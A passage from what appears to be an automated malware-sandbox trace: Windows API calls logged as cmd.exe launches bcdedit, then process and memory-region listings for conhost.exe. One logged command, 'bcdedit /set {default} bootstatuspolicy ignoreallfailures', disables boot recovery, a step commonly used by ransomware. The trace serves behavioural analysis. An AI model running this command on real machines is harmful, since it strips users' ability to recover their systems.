0x44 [0030.791] DuplicateHandle (in: hSourceProcessHandle=0x54, hSourceHandle=0x44, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0030.791] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0030.791] _close (_FileHandle=5) returned 0 [0030.791] _dup (_FileHandle=0) returned 4 [0030.791] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0030.792] _close (_FileHandle=3) returned 0 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.792] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.792] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.792] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.792] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.792] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.792] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.792] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.792] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.792] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.792] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.792] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.792] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.792] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.792] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.792] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.792] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.792] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.792] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.792] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.792] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.792] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.792] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.792] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.792] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.792] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.792] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.792] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.792] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.792] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.792] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.792] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.793] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.793] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.793] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.793] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.793] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.793] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.793] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.793] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.793] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.793] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.793] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.793] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.793] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.793] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.793] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.793] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.793] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.793] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.793] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.793] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.793] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.793] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.793] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.793] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.793] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.793] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.793] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.793] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.793] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.793] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.793] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.793] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0030.793] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0030.793] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0030.793] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.793] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.793] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.794] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.794] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.794] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.794] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.794] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.794] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.794] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.794] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.794] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.794] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.794] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.794] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.794] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.794] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.794] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.794] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.794] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.794] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.794] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.794] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.794] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.794] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.794] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.794] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.794] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.794] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.794] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.794] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.794] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.794] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.794] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.794] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.794] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.794] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0030.794] SetErrorMode (uMode=0x0) returned 0x0 [0030.794] SetErrorMode (uMode=0x1) returned 0x0 [0030.794] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x91de5e6bc0, lpFilePart=0x91de46f850 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0x91de46f850*="Desktop") returned 0x1c [0030.794] SetErrorMode (uMode=0x0) returned 0x1 [0030.794] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.794] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0030.795] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x91de46f5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f5d0) returned 0xffffffffffffffff [0030.796] GetLastError () returned 0x2 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x91de46f5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f5d0) returned 0x91de5e1170 [0030.796] FindClose (in: hFindFile=0x91de5e1170 | out: hFindFile=0x91de5e1170) returned 1 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x91de46f5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f5d0) returned 0xffffffffffffffff [0030.796] GetLastError () returned 0x2 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x91de46f5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f5d0) returned 0x91de5e1170 [0030.796] FindClose (in: hFindFile=0x91de5e1170 | out: hFindFile=0x91de5e1170) returned 1 [0030.796] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0030.796] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x91de46f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f360) returned 0xffffffffffffffff [0030.796] GetLastError () returned 0x2 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x91de46f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f360) returned 0x91de5e1170 [0030.796] FindClose (in: hFindFile=0x91de5e1170 | out: hFindFile=0x91de5e1170) returned 1 [0030.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x91de46f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f360) returned 0xffffffffffffffff [0030.796] GetLastError () returned 0x2 [0030.797] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x91de46f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x91de46f360) returned 0x91de5e1170 [0030.797] FindClose (in: hFindFile=0x91de5e1170 | out: hFindFile=0x91de5e1170) returned 1 [0030.797] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0030.797] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0030.797] GetConsoleTitleW (in: lpConsoleTitle=0x91de46f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.797] InitializeProcThreadAttributeList (in: lpAttributeList=0x91de46f7e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x91de46f6e0 | out: lpAttributeList=0x91de46f7e0, lpSize=0x91de46f6e0) returned 1 [0030.797] UpdateProcThreadAttribute (in: lpAttributeList=0x91de46f7e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x91de46f6c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x91de46f7e0, lpPreviousValue=0x0) returned 1 [0030.797] GetStartupInfoW (in: lpStartupInfo=0x91de46f770 | out: lpStartupInfo=0x91de46f770*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.797] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.797] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x91de46f700*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x91de46f6e8 | out: lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x91de46f6e8*(hProcess=0x50, hThread=0x44, dwProcessId=0x938, dwThreadId=0x4e4)) returned 1 [0030.803] CloseHandle (hObject=0x44) returned 1 [0030.803] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.803] GetEnvironmentStringsW () returned 0x91de5e6f70* [0030.803] FreeEnvironmentStringsA (penv="=") returned 1 [0030.803] DeleteProcThreadAttributeList (in: lpAttributeList=0x91de46f7e0 | out: lpAttributeList=0x91de46f7e0) [0030.803] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0030.803] _close (_FileHandle=4) returned 0 [0030.803] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0031.080] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x91de46fb68 | out: lpExitCode=0x91de46fb68*=0x0) returned 1 [0031.080] CloseHandle (hObject=0x54) returned 1 [0031.080] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0031.111] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x91de46fb68 | out: lpExitCode=0x91de46fb68*=0x0) returned 1 [0031.111] CloseHandle (hObject=0x50) returned 1 [0031.111] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.111] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0031.111] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.111] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0031.111] _get_osfhandle (_FileHandle=0) returned 0x18 [0031.111] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0031.111] SetConsoleInputExeNameW () returned 0x1 [0031.111] GetConsoleOutputCP () returned 0x1b5 [0031.111] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0031.111] SetThreadUILanguage (LangId=0x0) returned 0x409 [0031.112] exit (_Code=0) Process: id = "9" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5b0e1000" os_pid = "0x82c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x664" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff" cur_dir = "C:\\Windows" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 954 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 955 start_va = 0x9dff3b0000 end_va = 0x9dff3cffff entry_point = 0x0 region_type = private name = "private_0x0000009dff3b0000" filename = "" Region: id = 956 start_va = 0x9dff3d0000 end_va = 0x9dff3defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff3d0000" filename = "" Region: id = 957 start_va = 0x9dff3e0000 end_va = 0x9dff41ffff entry_point = 0x0 region_type = private name = "private_0x0000009dff3e0000" filename = "" Region: id = 958 start_va = 0x7ff7a8ed0000 end_va = 0x7ff7a8ef2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a8ed0000" filename = "" Region: id = 959 start_va = 0x7ff7a8ef3000 end_va = 0x7ff7a8ef3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7a8ef3000" filename = "" Region: id = 960 start_va = 0x7ff7a8efe000 end_va = 0x7ff7a8efffff entry_point = 0x0 region_type = private name = "private_0x00007ff7a8efe000" filename = "" Region: id = 961 start_va = 0x7ff7a9d00000 end_va = 0x7ff7a9d5afff entry_point = 0x7ff7a9d08560 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 962 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 963 start_va = 0x9dff470000 end_va = 0x9dff56ffff entry_point = 0x0 region_type = private name = "private_0x0000009dff470000" filename = "" Region: id = 964 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 965 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 966 start_va = 0x9d80000000 end_va = 0x9d813fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009d80000000" filename = "" Region: id = 967 start_va = 0x9dff3b0000 end_va = 0x9dff3bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff3b0000" filename = "" Region: id = 968 start_va = 0x9dff3c0000 end_va = 0x9dff3c6fff entry_point = 0x0 region_type = private name = "private_0x0000009dff3c0000" filename = "" Region: id = 969 start_va = 0x9dff420000 end_va = 0x9dff426fff entry_point = 0x0 region_type = private name = "private_0x0000009dff420000" filename = "" Region: id = 970 start_va = 0x9dff430000 end_va = 0x9dff432fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff430000" filename = "" Region: id = 971 start_va = 0x9dff440000 end_va = 0x9dff440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff440000" filename = "" Region: id = 972 start_va = 0x9dff450000 end_va = 0x9dff450fff entry_point = 0x0 region_type = private name = "private_0x0000009dff450000" filename = "" Region: id = 973 start_va = 0x9dff460000 end_va = 0x9dff460fff entry_point = 0x0 region_type = private name = "private_0x0000009dff460000" filename = "" Region: id = 974 start_va = 0x9dff570000 end_va = 0x9dff5edfff entry_point = 0x9dff570000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 975 start_va = 0x9dff5f0000 end_va = 0x9dff777fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff5f0000" filename = "" Region: id = 976 start_va = 0x9dff780000 end_va = 0x9dff900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff780000" filename = "" Region: id = 977 start_va = 0x9dff970000 end_va = 0x9dff97ffff entry_point = 0x0 region_type = private name = "private_0x0000009dff970000" filename = "" Region: id = 978 start_va = 0x9dff980000 end_va = 0x9dffd79fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009dff980000" filename = "" Region: id = 979 start_va = 0x7ff7a8dd0000 end_va = 0x7ff7a8ecffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a8dd0000" filename = "" Region: id = 980 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 981 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 982 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 983 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 984 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 985 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 986 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 987 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 90 os_tid = 0x830 Thread: id = 93 os_tid = 0x5f0 Thread: id = 98 os_tid = 0x168 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5c76c000" os_pid = "0x840" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x9a8" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff" cur_dir = "C:\\Windows" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 988 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 989 start_va = 0x8c79330000 end_va = 0x8c7934ffff entry_point = 0x0 region_type = private name = "private_0x0000008c79330000" filename = "" Region: id = 990 start_va = 0x8c79350000 end_va = 0x8c7935efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c79350000" filename = "" Region: id = 991 start_va = 0x8c79360000 end_va = 0x8c7939ffff entry_point = 0x0 region_type = private name = "private_0x0000008c79360000" filename = "" Region: id = 992 start_va = 0x7ff7a9380000 end_va = 0x7ff7a93a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a9380000" filename = "" Region: id = 993 start_va = 0x7ff7a93a3000 end_va = 0x7ff7a93a3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7a93a3000" filename = "" Region: id = 994 start_va = 0x7ff7a93ae000 end_va = 0x7ff7a93affff entry_point = 0x0 region_type = private name = "private_0x00007ff7a93ae000" filename = "" Region: id = 995 start_va = 0x7ff7a9d00000 end_va = 0x7ff7a9d5afff entry_point = 0x7ff7a9d08560 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 996 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 997 start_va = 0x8c793b0000 end_va = 0x8c794affff entry_point = 0x0 region_type = private name = "private_0x0000008c793b0000" filename = "" Region: id = 998 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 999 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1016 start_va = 0x8c79330000 end_va = 0x8c7933ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c79330000" filename = "" Region: id = 1017 start_va = 0x8c79340000 end_va = 0x8c79346fff 